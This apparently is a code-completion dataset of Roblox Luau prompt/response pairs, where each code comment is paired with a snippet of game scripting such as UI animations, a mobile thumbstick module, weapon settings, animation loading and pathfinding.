Prompt: --//SS6 PLUGIN; SPLASH//--

Response:
  --//INSPARE 2017//--

local ai = script.Parent.Main_Frame.A.Frame.ImageLabel
local bi = script.Parent.Main_Frame.B.Frame.ImageLabel
local ci = script.Parent.Main_Frame.C.Frame.ImageLabel
local di = script.Parent.Main_Frame.D.Frame.ImageLabel
local ei = script.Parent.Main_Frame.E.Frame.ImageLabel

ai.Size = UDim2.new(15,0,9,0)
bi.Size = UDim2.new(15,0,9,0)
ci.Size = UDim2.new(15,0,9,0)
di.Size = UDim2.new(15,0,9,0)
ei.Size = UDim2.new(15,0,9,0)
wait(.2)
script.Parent.SplashFade.WI:Play()
while true do
	for i=1,2 do
		for i=1,4 do
			ai.Position = ai.Position - UDim2.new(3,0,0,0)
			bi.Position = bi.Position - UDim2.new(3,0,0,0)
			ci.Position = ci.Position - UDim2.new(3,0,0,0)
			di.Position = di.Position - UDim2.new(3,0,0,0)
			ei.Position = ei.Position - UDim2.new(3,0,0,0)
			wait(.045)
		end
		ai.Position = ai.Position + UDim2.new(12,0,-3,0)
		bi.Position = bi.Position + UDim2.new(12,0,-3,0)
		ci.Position = ci.Position + UDim2.new(12,0,-3,0)
		di.Position = di.Position + UDim2.new(12,0,-3,0)
		ei.Position = ei.Position + UDim2.new(12,0,-3,0)
		wait(.045)
	end
	for i=1,2 do
		ai.Position = ai.Position - UDim2.new(3,0,0,0)
		bi.Position = bi.Position - UDim2.new(3,0,0,0)
		ci.Position = ci.Position - UDim2.new(3,0,0,0)
		di.Position = di.Position - UDim2.new(3,0,0,0)
		ei.Position = ei.Position - UDim2.new(3,0,0,0)
		wait(.045)
	end
	ai.Position = ai.Position + UDim2.new(6,0,6,0)
	bi.Position = bi.Position + UDim2.new(6,0,6,0)
	ci.Position = ci.Position + UDim2.new(6,0,6,0)
	di.Position = di.Position + UDim2.new(6,0,6,0)
	ei.Position = ei.Position + UDim2.new(6,0,6,0)
	wait(.045)
end


Prompt:
--[=[
	@interface ItemInfo

	A table containing information about one of the items that has been
	registered with the Merch Booth.

	You can interface with these objects using the [MerchBooth.getItems]
	function.

	.assetId number -- Add ID of the item, as passed to [MerchBooth.addItemAsync]
	.title string -- Name of the item as it appears in the catalog
	.price number -- Price in Robux of the item
	.description string -- Description of the item as it appears in the catalog
	.assetType Enum.AssetType -- Type of asset that as it appears in the Marketplace
	.viewportObject Accessory -- A 3D object to represent the item
	.creatorName string -- Name of the user or group that created the asset
	.creatorType Enum.CreatorType -- Type of the user/group that created the asset

	@within MerchBooth
]=]

Response:
export type ItemInfo = {
	assetId: number,
	title: string?,
	price: number?,
	description: string?,
	assetType: Enum.AssetType?,
	viewportObject: Accessory?,
	creatorName: string?,
	creatorType: Enum.CreatorType?,
	hiddenFromCatalog: boolean,
	isOwned: boolean?,
	productType: Enum.InfoType?,
	iconId: number?,
}


Prompt: --		print("Loading anims " .. name)

Response:
		table.insert(animTable[name].connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end))
		table.insert(animTable[name].connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end))
		local idx = 1
		for _, childPart in pairs(config:GetChildren()) do
			if (childPart:IsA("Animation")) then
				table.insert(animTable[name].connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end))
				animTable[name][idx] = {}
				animTable[name][idx].anim = childPart
				local weightObject = childPart:FindFirstChild("Weight")
				if (weightObject == nil) then
					animTable[name][idx].weight = 1
				else
					animTable[name][idx].weight = weightObject.Value
				end
				animTable[name].count = animTable[name].count + 1
				animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight


Prompt:
--[[**
	ensures value is a table and all keys pass keyCheck and all values pass valueCheck

	@param keyCheck The function to use to check the keys
	@param valueCheck The function to use to check the values

	@returns A function that will return true iff the condition is passed
**--]]

Response:
function t.map(keyCheck, valueCheck)
	assert(t.callback(keyCheck), t.callback(valueCheck))
	local keyChecker = t.keys(keyCheck)
	local valueChecker = t.values(valueCheck)

	return function(value)
		local keySuccess, keyErr = keyChecker(value)
		if not keySuccess then
			return false, keyErr or ""
		end

		local valueSuccess, valueErr = valueChecker(value)
		if not valueSuccess then
			return false, valueErr or ""
		end

		return true
	end
end


Response:
	 TeamKill = false					--- Enable TeamKill?
	,TeamDamageMultiplier = 1			--- Between 0-1 | This will make you cause less damage if you hit your teammate

	,ReplicatedBullets = true			--- Keep in mind that some bullets will pass through surfaces...

	,AntiBunnyHop = true				--- Enable anti bunny hop system?
	,JumpCoolDown = 3					--- Seconds before you can jump again
	,JumpPower = 50						--- Jump power, default is 50

	,RealisticLaser = false				--- True = Laser line is invisible
	,ReplicatedLaser = true
	,ReplicatedFlashlight = true

	,EnableRagdoll = true				--- Enable ragdoll death?
	,TeamTags = true					--- Aaaaaaa
	,HitmarkerSound = false				--- GGWP MLG 360 NO SCOPE xD


Prompt:
--- Sets whether the command is in a valid state or not.
-- Cannot submit if in invalid state.

Response:
function Window:SetIsValidInput(isValid, errorText)
	Entry.TextBox.TextColor3 = isValid and Color3.fromRGB(255, 255, 255) or Color3.fromRGB(255, 73, 73)
	self.Valid = isValid
	self._errorText = errorText
end


Prompt: --XxMegamanxX

Response:
function onTouch(hit)

	if hit.Parent:findFirstChild("Humanoid") ~= nil and hit.Parent:findFirstChild("Sling") == nil then
		local suit = script.Parent.Parent["Sling"]:clone()
		suit.Parent = hit.Parent
		local G = suit:getChildren()
		for i=1, #G do
			if G[i].className == "Part" or "UnionOperation" or "MeshPart" then
				local suitW = Instance.new("Weld")
				suitW.Part0 = suit.MainPart
				suitW.Part1 = G[i]
				local autoW = CFrame.new(suit.MainPart.Position)
				suitW.C0 = suit.MainPart.CFrame:inverse()*autoW
				suitW.C1 = G[i].CFrame:inverse()*autoW
				suitW.Parent = suit.MainPart
			end
			local bpW = Instance.new("Weld")
			bpW.Part0 = hit.Parent["Torso"]
			bpW.Part1 = suit.MainPart
			bpW.C0 = CFrame.new(0, 0, 0)
			bpW.Parent = suit.MainPart
		end
		local c = suit:getChildren()
		for i=1, #c do
			c[i].Anchored = false
			c[i].CanCollide = false
		end
	end
end

script.Parent.Touched:connect(onTouch)


Prompt: -- Was called OnMoveTouchEnded in previous version

Response:
function DynamicThumbstick:OnInputEnded()
	self.moveTouchObject = nil
	self.moveVector = ZERO_VECTOR3
	self:FadeThumbstick(false)
end

function DynamicThumbstick:FadeThumbstick(visible)
	if not visible and self.moveTouchObject then
		return
	end
	if self.isFirstTouch then return end

	if self.startImageFadeTween then
		self.startImageFadeTween:Cancel()
	end
	if self.endImageFadeTween then
		self.endImageFadeTween:Cancel()
	end
	for i = 1, #self.middleImages do
		if self. middleImageFadeTweens[i] then
			self.middleImageFadeTweens[i]:Cancel()
		end
	end

	if visible then
		self.startImageFadeTween = TweenService:Create(self.startImage, ThumbstickFadeTweenInfo, { ImageTransparency = 0 })
		self.startImageFadeTween:Play()

		self.endImageFadeTween = TweenService:Create(self.endImage, ThumbstickFadeTweenInfo, { ImageTransparency = 0.2 })
		self.endImageFadeTween:Play()

		for i = 1, #self.middleImages do
			self.middleImageFadeTweens[i] = TweenService:Create(self.middleImages[i], ThumbstickFadeTweenInfo, { ImageTransparency = MIDDLE_TRANSPARENCIES[i] })
			self.middleImageFadeTweens[i]:Play()
		end
	else
		self.startImageFadeTween = TweenService:Create(self.startImage, ThumbstickFadeTweenInfo, { ImageTransparency = 1 })
		self.startImageFadeTween:Play()

		self.endImageFadeTween = TweenService:Create(self.endImage, ThumbstickFadeTweenInfo, { ImageTransparency = 1 })
		self.endImageFadeTween:Play()

		for i = 1, #self.middleImages do
			self.middleImageFadeTweens[i] = TweenService:Create(self.middleImages[i], ThumbstickFadeTweenInfo, { ImageTransparency = 1 })
			self.middleImageFadeTweens[i]:Play()
		end
	end
end

function DynamicThumbstick:FadeThumbstickFrame(fadeDuration, fadeRatio)
	self.fadeInAndOutHalfDuration = fadeDuration * 0.5
	self.fadeInAndOutBalance = fadeRatio
	self.tweenInAlphaStart = tick()
end

function DynamicThumbstick:InputInFrame(inputObject)
	local frameCornerTopLeft = self.thumbstickFrame.AbsolutePosition
	local frameCornerBottomRight = frameCornerTopLeft + self.thumbstickFrame.AbsoluteSize
	local inputPosition = inputObject.Position
	if inputPosition.X >= frameCornerTopLeft.X and inputPosition.Y >= frameCornerTopLeft.Y then
		if inputPosition.X <= frameCornerBottomRight.X and inputPosition.Y <= frameCornerBottomRight.Y then
			return true
		end
	end
	return false
end

function DynamicThumbstick:DoFadeInBackground()
	local playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
	local hasFadedBackgroundInOrientation = false

	-- only fade in/out the background once per orientation
	if playerGui then
		if playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeLeft or
			playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight then
				hasFadedBackgroundInOrientation = self.hasFadedBackgroundInLandscape
				self.hasFadedBackgroundInLandscape = true
		elseif playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait then
				hasFadedBackgroundInOrientation = self.hasFadedBackgroundInPortrait
				self.hasFadedBackgroundInPortrait = true
		end
	end

	if not hasFadedBackgroundInOrientation then
		self.fadeInAndOutHalfDuration = FADE_IN_OUT_HALF_DURATION_DEFAULT
		self.fadeInAndOutBalance = FADE_IN_OUT_BALANCE_DEFAULT
		self.tweenInAlphaStart = tick()
	end
end

function DynamicThumbstick:DoMove(direction)
	local currentMoveVector = direction

	-- Scaled Radial Dead Zone
	local inputAxisMagnitude = currentMoveVector.magnitude
	if inputAxisMagnitude < self.radiusOfDeadZone then
		currentMoveVector = Vector3.new()
	else
		currentMoveVector = currentMoveVector.unit*(
			1 - math.max(0, (self.radiusOfMaxSpeed - currentMoveVector.magnitude)/self.radiusOfMaxSpeed)
		)
		currentMoveVector = Vector3.new(currentMoveVector.x, 0, currentMoveVector.y)
	end

	self.moveVector = currentMoveVector
end

function DynamicThumbstick:LayoutMiddleImages(startPos, endPos)
	local startDist = (self.thumbstickSize / 2) + self.middleSize
	local vector = endPos - startPos
	local distAvailable = vector.magnitude - (self.thumbstickRingSize / 2) - self.middleSize
	local direction = vector.unit

	local distNeeded = self.middleSpacing * NUM_MIDDLE_IMAGES
	local spacing = self.middleSpacing

	if distNeeded < distAvailable then
		spacing = distAvailable / NUM_MIDDLE_IMAGES
	end

	for i = 1, NUM_MIDDLE_IMAGES do
		local image = self.middleImages[i]
		local distWithout = startDist + (spacing * (i - 2))
		local currentDist = startDist + (spacing * (i - 1))

		if distWithout < distAvailable then
			local pos = endPos - direction * currentDist
			local exposedFraction = math.clamp(1 - ((currentDist - distAvailable) / spacing), 0, 1)

			image.Visible = true
			image.Position = UDim2.new(0, pos.X, 0, pos.Y)
			image.Size = UDim2.new(0, self.middleSize * exposedFraction, 0, self.middleSize * exposedFraction)
		else
			image.Visible = false
		end
	end
end

function DynamicThumbstick:MoveStick(pos)
	local vector2StartPosition = Vector2.new(self.moveTouchStartPosition.X, self.moveTouchStartPosition.Y)
	local startPos = vector2StartPosition - self.thumbstickFrame.AbsolutePosition
	local endPos = Vector2.new(pos.X, pos.Y) - self.thumbstickFrame.AbsolutePosition
	self.endImage.Position = UDim2.new(0, endPos.X, 0, endPos.Y)
	self:LayoutMiddleImages(startPos, endPos)
end

function DynamicThumbstick:BindContextActions()
	local function inputBegan(inputObject)
		if self.moveTouchObject then
			return Enum.ContextActionResult.Pass
		end

		if not self:InputInFrame(inputObject) then
			return Enum.ContextActionResult.Pass
		end

		if self.isFirstTouch then
			self.isFirstTouch = false
			local tweenInfo = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out,0,false,0)
			TweenService:Create(self.startImage, tweenInfo, {Size = UDim2.new(0, 0, 0, 0)}):Play()
			TweenService:Create(
				self.endImage,
				tweenInfo,
				{Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize), ImageColor3 = Color3.new(0,0,0)}
			):Play()
		end

		self.moveTouchLockedIn = false
		self.moveTouchObject = inputObject
		self.moveTouchStartPosition = inputObject.Position
		self.moveTouchFirstChanged = true

		if FADE_IN_OUT_BACKGROUND then
			self:DoFadeInBackground()
		end

		return Enum.ContextActionResult.Pass
	end

	local function inputChanged(inputObject)
		if inputObject == self.moveTouchObject then
			if self.moveTouchFirstChanged then
				self.moveTouchFirstChanged = false

				local startPosVec2 = Vector2.new(
					inputObject.Position.X - self.thumbstickFrame.AbsolutePosition.X,
					inputObject.Position.Y - self.thumbstickFrame.AbsolutePosition.Y
				)
				self.startImage.Visible = true
				self.startImage.Position = UDim2.new(0, startPosVec2.X, 0, startPosVec2.Y)
				self.endImage.Visible = true
				self.endImage.Position = self.startImage.Position

				self:FadeThumbstick(true)
				self:MoveStick(inputObject.Position)
			end

			self.moveTouchLockedIn = true

			local direction = Vector2.new(
				inputObject.Position.x - self.moveTouchStartPosition.x,
				inputObject.Position.y - self.moveTouchStartPosition.y
			)
			if math.abs(direction.x) > 0 or math.abs(direction.y) > 0 then
				self:DoMove(direction)
				self:MoveStick(inputObject.Position)
			end
			return Enum.ContextActionResult.Sink
		end
		return Enum.ContextActionResult.Pass
	end

	local function inputEnded(inputObject)
		if inputObject == self.moveTouchObject then
			self:OnInputEnded()
			if self.moveTouchLockedIn then
				return Enum.ContextActionResult.Sink
			end
		end
		return Enum.ContextActionResult.Pass
	end

	local function handleInput(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.Begin then
			return inputBegan(inputObject)
		elseif inputState == Enum.UserInputState.Change then
			return inputChanged(inputObject)
		elseif inputState == Enum.UserInputState.End then
			return inputEnded(inputObject)
		elseif inputState == Enum.UserInputState.Cancel then
			self:OnInputEnded()
		end
	end

	ContextActionService:BindActionAtPriority(
		DYNAMIC_THUMBSTICK_ACTION_NAME,
		handleInput,
		false,
		DYNAMIC_THUMBSTICK_ACTION_PRIORITY,
		Enum.UserInputType.Touch)
end

function DynamicThumbstick:Create(parentFrame)
	if self.thumbstickFrame then
		self.thumbstickFrame:Destroy()
		self.thumbstickFrame = nil
		if self.onRenderSteppedConn then
			self.onRenderSteppedConn:Disconnect()
			self.onRenderSteppedConn = nil
		end
	end

	self.thumbstickSize = 45
	self.thumbstickRingSize = 20
	self.middleSize = 10
	self.middleSpacing = self.middleSize + 4
	self.radiusOfDeadZone = 2
	self.radiusOfMaxSpeed = 20

	local screenSize = parentFrame.AbsoluteSize
	local isBigScreen = math.min(screenSize.x, screenSize.y) > 500
	if isBigScreen then
		self.thumbstickSize = self.thumbstickSize * 2
		self.thumbstickRingSize = self.thumbstickRingSize * 2
		self.middleSize = self.middleSize * 2
		self.middleSpacing = self.middleSpacing * 2
		self.radiusOfDeadZone = self.radiusOfDeadZone * 2
		self.radiusOfMaxSpeed = self.radiusOfMaxSpeed * 2
	end

	local function layoutThumbstickFrame(portraitMode)
		if portraitMode then
			self.thumbstickFrame.Size = UDim2.new(1, 0, 0.4, 0)
			self.thumbstickFrame.Position = UDim2.new(0, 0, 0.6, 0)
		else
			self.thumbstickFrame.Size = UDim2.new(0.4, 0, 2/3, 0)
			self.thumbstickFrame.Position = UDim2.new(0, 0, 1/3, 0)
		end
	end

	self.thumbstickFrame = Instance.new("Frame")
	self.thumbstickFrame.BorderSizePixel = 0
	self.thumbstickFrame.Name = "DynamicThumbstickFrame"
	self.thumbstickFrame.Visible = false
	self.thumbstickFrame.BackgroundTransparency = 1.0
	self.thumbstickFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
	self.thumbstickFrame.Active = false
	layoutThumbstickFrame(false)

	self.startImage = Instance.new("ImageLabel")
	self.startImage.Name = "ThumbstickStart"
	self.startImage.Visible = true
	self.startImage.BackgroundTransparency = 1
	self.startImage.Image = TOUCH_CONTROLS_SHEET
	self.startImage.ImageRectOffset = Vector2.new(1,1)
	self.startImage.ImageRectSize = Vector2.new(144, 144)
	self.startImage.ImageColor3 = Color3.new(0, 0, 0)
	self.startImage.AnchorPoint = Vector2.new(0.5, 0.5)
	self.startImage.Position = UDim2.new(0, self.thumbstickRingSize * 3.3, 1, -self.thumbstickRingSize  * 2.8)
	self.startImage.Size = UDim2.new(0, self.thumbstickRingSize  * 3.7, 0, self.thumbstickRingSize  * 3.7)
	self.startImage.ZIndex = 10
	self.startImage.Parent = self.thumbstickFrame

	self.endImage = Instance.new("ImageLabel")
	self.endImage.Name = "ThumbstickEnd"
	self.endImage.Visible = true
	self.endImage.BackgroundTransparency = 1
	self.endImage.Image = TOUCH_CONTROLS_SHEET
	self.endImage.ImageRectOffset = Vector2.new(1,1)
	self.endImage.ImageRectSize =  Vector2.new(144, 144)
	self.endImage.AnchorPoint = Vector2.new(0.5, 0.5)
	self.endImage.Position = self.startImage.Position
	self.endImage.Size = UDim2.new(0, self.thumbstickSize * 0.8, 0, self.thumbstickSize * 0.8)
	self.endImage.ZIndex = 10
	self.endImage.Parent = self.thumbstickFrame

	for i = 1, NUM_MIDDLE_IMAGES do
		self.middleImages[i] = Instance.new("ImageLabel")
		self.middleImages[i].Name = "ThumbstickMiddle"
		self.middleImages[i].Visible = false
		self.middleImages[i].BackgroundTransparency = 1
		self.middleImages[i].Image = TOUCH_CONTROLS_SHEET
		self.middleImages[i].ImageRectOffset = Vector2.new(1,1)
		self.middleImages[i].ImageRectSize = Vector2.new(144, 144)
		self.middleImages[i].ImageTransparency = MIDDLE_TRANSPARENCIES[i]
		self.middleImages[i].AnchorPoint = Vector2.new(0.5, 0.5)
		self.middleImages[i].ZIndex = 9
		self.middleImages[i].Parent = self.thumbstickFrame
	end

	local CameraChangedConn = nil
	local function onCurrentCameraChanged()
		if CameraChangedConn then
			CameraChangedConn:Disconnect()
			CameraChangedConn = nil
		end
		local newCamera = workspace.CurrentCamera
		if newCamera then
			local function onViewportSizeChanged()
				local size = newCamera.ViewportSize
				local portraitMode = size.X < size.Y
				layoutThumbstickFrame(portraitMode)
			end
			CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(onViewportSizeChanged)
			onViewportSizeChanged()
		end
	end
	workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged)
	if workspace.CurrentCamera then
		onCurrentCameraChanged()
	end

	self.moveTouchStartPosition = nil

	self.startImageFadeTween = nil
	self.endImageFadeTween = nil
	self.middleImageFadeTweens = {}

	self.onRenderSteppedConn = RunService.RenderStepped:Connect(function()
		if self.tweenInAlphaStart ~= nil then
			local delta = tick() - self.tweenInAlphaStart
			local fadeInTime = (self.fadeInAndOutHalfDuration * 2 * self.fadeInAndOutBalance)
			self.thumbstickFrame.BackgroundTransparency = 1 - FADE_IN_OUT_MAX_ALPHA*math.min(delta/fadeInTime, 1)
			if delta > fadeInTime then
				self.tweenOutAlphaStart = tick()
				self.tweenInAlphaStart = nil
			end
		elseif self.tweenOutAlphaStart ~= nil then
			local delta = tick() - self.tweenOutAlphaStart
			local fadeOutTime = (self.fadeInAndOutHalfDuration * 2) - (self.fadeInAndOutHalfDuration * 2 * self.fadeInAndOutBalance)
			self.thumbstickFrame.BackgroundTransparency = 1 - FADE_IN_OUT_MAX_ALPHA + FADE_IN_OUT_MAX_ALPHA*math.min(delta/fadeOutTime, 1)
			if delta > fadeOutTime  then
				self.tweenOutAlphaStart = nil
			end
		end
	end)

	self.onTouchEndedConn = UserInputService.TouchEnded:connect(function(inputObject)
		if inputObject == self.moveTouchObject then
			self:OnInputEnded()
		end
	end)

	GuiService.MenuOpened:connect(function()
		if self.moveTouchObject then
			self:OnInputEnded()
		end
	end)

	local playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
	while not playerGui do
		Players.LocalPlayer.ChildAdded:wait()
		playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
	end

	local playerGuiChangedConn = nil
	local originalScreenOrientationWasLandscape =	playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeLeft or
													playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight

	local function longShowBackground()
		self.fadeInAndOutHalfDuration = 2.5
		self.fadeInAndOutBalance = 0.05
		self.tweenInAlphaStart = tick()
	end

	playerGuiChangedConn = playerGui.Changed:connect(function(prop)
		if prop == "CurrentScreenOrientation" then
			if (originalScreenOrientationWasLandscape and playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait) or
				(not originalScreenOrientationWasLandscape and playerGui.CurrentScreenOrientation ~= Enum.ScreenOrientation.Portrait) then

				playerGuiChangedConn:disconnect()
				longShowBackground()

				if originalScreenOrientationWasLandscape then
					self.hasFadedBackgroundInPortrait = true
				else
					self.hasFadedBackgroundInLandscape = true
				end
			end
		end
	end)

	self.thumbstickFrame.Parent = parentFrame

	spawn(function()
		if game:IsLoaded() then
			longShowBackground()
		else
			game.Loaded:wait()
			longShowBackground()
		end
	end)
end

return DynamicThumbstick


Prompt: --RustyBomb

Response:
game.Players.PlayerAdded:Connect(function(player)
	player.CharacterAdded:Connect(function(character)
		local Humanoid = character:WaitForChild("Humanoid")
		Humanoid.Died:connect(function()
			if player.RustyBomb.Value == 2 then
				player.RustyBomb.Value = 1
			end
		end)
	end)
end)
game.Players.PlayerRemoving:Connect(function(player)
	if player.RustyBomb.Value == 2 then
		player.RustyBomb.Value = 1
	end
end)


Prompt: -- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean

Response:
return function(val: any): boolean
	return not not val and val ~= 0 and val ~= "" and not Number.isNaN(val)
end


Prompt: --script

Response:
script.Parent.MouseButton1Click:Connect(function()
	if play then
		GoodSound.Volume = 1.2                --volume from the music when it's on
		play = false
		script.Parent.Text = "Mute music" else  --you can change the text from the button here between ""
		GoodSound.Volume = 0                    --volume from the music when it's off
		play = true
		script.Parent.Text = "Play music"       --you can change the text from the button here between ""
	end
end)


Prompt:
--// All global vars will be wiped/replaced except script
--// All guis are autonamed client.Variables.CodeName..gui.Name

Response:
return function(data, env)
	if env then
		setfenv(1, env)
	end
	local gui = script.Parent.Parent
	local playergui = service.PlayerGui
	local str = data.Message
	local time = data.Time or 15

	local log  = {
		Type = "Hint";
		Title = "Hint";
		Message = str;
		Icon = "rbxassetid://7501175708";
		Time = os.date("%X");
		Function = nil;
	}

	table.insert(client.Variables.CommunicationsHistory, log)
	service.Events.CommsCenter:Fire(log)

	--client.UI.Make("HintHolder")
	local container = client.UI.Get("HintHolder",nil,true)
	if not container then
		local holder = service.New("ScreenGui")
		local hTable = client.UI.Register(holder)
		local frame = service.New("ScrollingFrame", holder)
		client.UI.Prepare(holder)
		hTable.Name = "HintHolder"
		frame.Name = "Frame"
		frame.BackgroundTransparency = 1
		frame.Size = UDim2.new(1, 0, 0,150)
		frame.CanvasSize = UDim2.new(0, 0, 0, 0)
		frame.ChildAdded:Connect(function(c)
			if #frame:GetChildren() == 0 then
				frame.Visible = false
			else
				frame.Visible = true
			end
		end)

		frame.ChildRemoved:Connect(function(c)
			if #frame:GetChildren() == 0 then
				frame.Visible = false
			else
				frame.Visible = true
			end
		end)

		container = hTable
		hTable:Ready()
	end
	container = container.Object.Frame

	--// First things first account for notif :)
	local notif = client.UI.Get("Notif")
	local topbar = client.UI.Get("TopBar")

	container.Position = UDim2.new(0,0,0,((notif and 30) or 0) + ((topbar and 40) or 0) - 35)

	local children = container:GetChildren()

	gui.Position = UDim2.new(0,0,0,-100)
	gui.Frame.msg.Text = str
	local bounds = gui.Frame.msg.TextBounds.X

	local function moveGuis(m,ignore)
		m = m or 0
		local max = #container:GetChildren()
		for i,v in pairs(container:GetChildren()) do
			if v~=ignore then
				local y = (i+m)*28
				v.Position = UDim2.new(0,0,0,y)
				if i~=max then v.Size = UDim2.new(1,0,0,28) end
			end
		end
	end

	local lom = -1
	moveGuis(-1)
	gui.Parent = container
	if #container:GetChildren()>5 then lom = -2 end
	UDim2.new(0,0,0,(#container:GetChildren()+lom)*28)
	moveGuis(-1)
	--gui:TweenPosition(UDim2.new(0,0,0,(#container:GetChildren()+lom)*28),nil,nil,0.3,true,function() if gui and gui.Parent then moveGuis(-1) end end)

	if #container:GetChildren()>5 then
		local gui = container:GetChildren()[1]
		moveGuis(-2,gui)
		gui:Destroy()
		--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)
	end

	wait(data.Time or 5)

	if gui and gui.Parent then
		moveGuis(-2,gui)
		gui:Destroy()
		--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)
	end
end


Prompt: --[[ Services ]]

Response:
--
local PlayersService = game:GetService('Players')
local VRService = game:GetService("VRService")

local Util = require(script.Parent:WaitForChild("CameraUtils"))


Prompt: --	l__Humanoid__9.WalkSpeed = u2 + tonumber(u1);

Response:
end;
l__Humanoid__9:GetAttributeChangedSignal("SpeedBoost"):Connect(v3.updatespeed);
l__Humanoid__9:GetAttributeChangedSignal("SpeedBoostExtra"):Connect(v3.updatespeed);
l__Humanoid__9:GetAttributeChangedSignal("SpeedBoostBehind"):Connect(v3.updatespeed);
v3.updatespeed();
l__UserInputService__7.InputBegan:connect(function(p2, p3)
	if p2.UserInputType == Enum.UserInputType.MouseButton2 then
	end;
	if p3 == true then
		return;
	end;
	if p2.KeyCode == Enum.KeyCode.C or p2.KeyCode == Enum.KeyCode.ButtonB or p2.KeyCode == Enum.KeyCode.LeftControl or p2.KeyCode == Enum.KeyCode.LeftShift then
		v3.crouch();
	end;
end);
l__UserInputService__7.InputEnded:connect(function(p4)
	if p4.KeyCode == Enum.KeyCode.Space then
		v2.holdjump = false;
	end;
	if p4.UserInputType == Enum.UserInputType.MouseButton2 then
	-- nil
	end;
end);

function v3.titlelocation(p1)
	coroutine.wrap(function()
		local v6 = l__Parent__1.MainFrame.Intro:Clone();
		if l__Parent__1.MainFrame:FindFirstChild("LiveIntro") then
			l__Parent__1.MainFrame:FindFirstChild("LiveIntro"):Destroy();
		end;
		local v7 = game:GetService("ReplicatedStorage").Sounds:FindFirstChild("LA_" .. p1);
		if v7 then
			v7:Play();
		end;
		v6.Name = "LiveIntro";
		v6.Visible = true;
		v6.Text = p1;
		v6.Parent = l__Parent__1.MainFrame;
		l__TweenService__2:Create(v6, TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
			TextTransparency = 0,
			TextStrokeTransparency = 1
		}):Play();
		l__TweenService__2:Create(v6.Underline, TweenInfo.new(3, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), {
			Size = UDim2.new(0.5, 0, 0, 6)
		}):Play();
		wait(1);
		l__TweenService__2:Create(v6, TweenInfo.new(7, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
			BackgroundTransparency = 1,
			TextTransparency = 1,
			TextStrokeTransparency = 2
		}):Play();
		l__TweenService__2:Create(v6.Underline, TweenInfo.new(7, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
			Size = UDim2.new(0.25, 0, 0, 6),
			ImageTransparency = 1
		}):Play();
		game.Debris:AddItem(v6, 10);
	end)();
end;
local u3 = {};
local u4 = 0;
function v3.remind(p2, p3)
	coroutine.wrap(function()
		if table.find(u3, p2) ~= nil then
			return;
		end;
		table.insert(u3, p2);
		if u4 >= 1 then
			u4 = u4 + 1;
			wait((u4 - 1) * 6);
		end;
		u4 = u4 + 1;
		local v8 = l__Parent__1.MainFrame.Tip:Clone();
		if p3 == true then
			v8 = l__Parent__1.MainFrame.Warning:Clone();
		end;
		v8.Name = "LiveTip";
		v8.Visible = true;
		v8.Text = p2;
		v8.Parent = l__Parent__1.MainFrame;
		l__TweenService__2:Create(v8, TweenInfo.new(0.8, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
			Position = UDim2.new(0.5, 0, 0.9, 0)
		}):Play();
		l__TweenService__2:Create(v8.Glow, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 0, true), {
			Size = UDim2.new(2, 0, 10, 0),
			ImageTransparency = 0
		}):Play();
		wait(6);
		l__TweenService__2:Create(v8, TweenInfo.new(1.2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {
			TextTransparency = 1,
			TextStrokeTransparency = 1
		}):Play();
		game.Debris:AddItem(v8, 10);
		u4 = u4 - 1;
	end)();
end;
function v3.caption(p4, p5, p6)
	local u5 = p6;
	coroutine.wrap(function()
		local v9 = l__Parent__1.MainFrame.Caption:Clone();
		if l__Parent__1:FindFirstChild("LiveCaption") then
			l__Parent__1:FindFirstChild("LiveCaption"):Destroy();
		end;
		if p5 == true then
			v9 = l__Parent__1.MainFrame.Caption:Clone();
		end;
		v9.Name = "LiveCaption";
		v9.Visible = true;
		v9.Text = p4;
		v9.Parent = l__Parent__1;
		if not u5 then
			u5 = 7;
		end;
		l__TweenService__2:Create(v9, TweenInfo.new(u5, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
			BackgroundTransparency = 1,
			TextTransparency = 1,
			TextStrokeTransparency = 2
		}):Play();
		l__TweenService__2:Create(v9, TweenInfo.new(1.5, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), {
			BackgroundColor3 = Color3.new(0, 0, 0)
		}):Play();
		script.Caption:Play();
		game.Debris:AddItem(v9, 10);
	end)();
end;

return v3;


Prompt: --if the path is followable/reachable

Response:
	if path.Status.Value<3 then
		for _,v in ipairs(path:GetPointCoordinates()) do
			humanoid:MoveTo(v);
			local distance=0;
			repeat
				distance=TD and (Vector2.new(v.x,v.z)-Vector2.new(torso.Position.x,torso.Position.z)).magnitude or (v-torso.Position).magnitude;
				Wait();
			until distance<2
		end
	end
end


Prompt: -- Variables

Response:
local plr = playerService.LocalPlayer

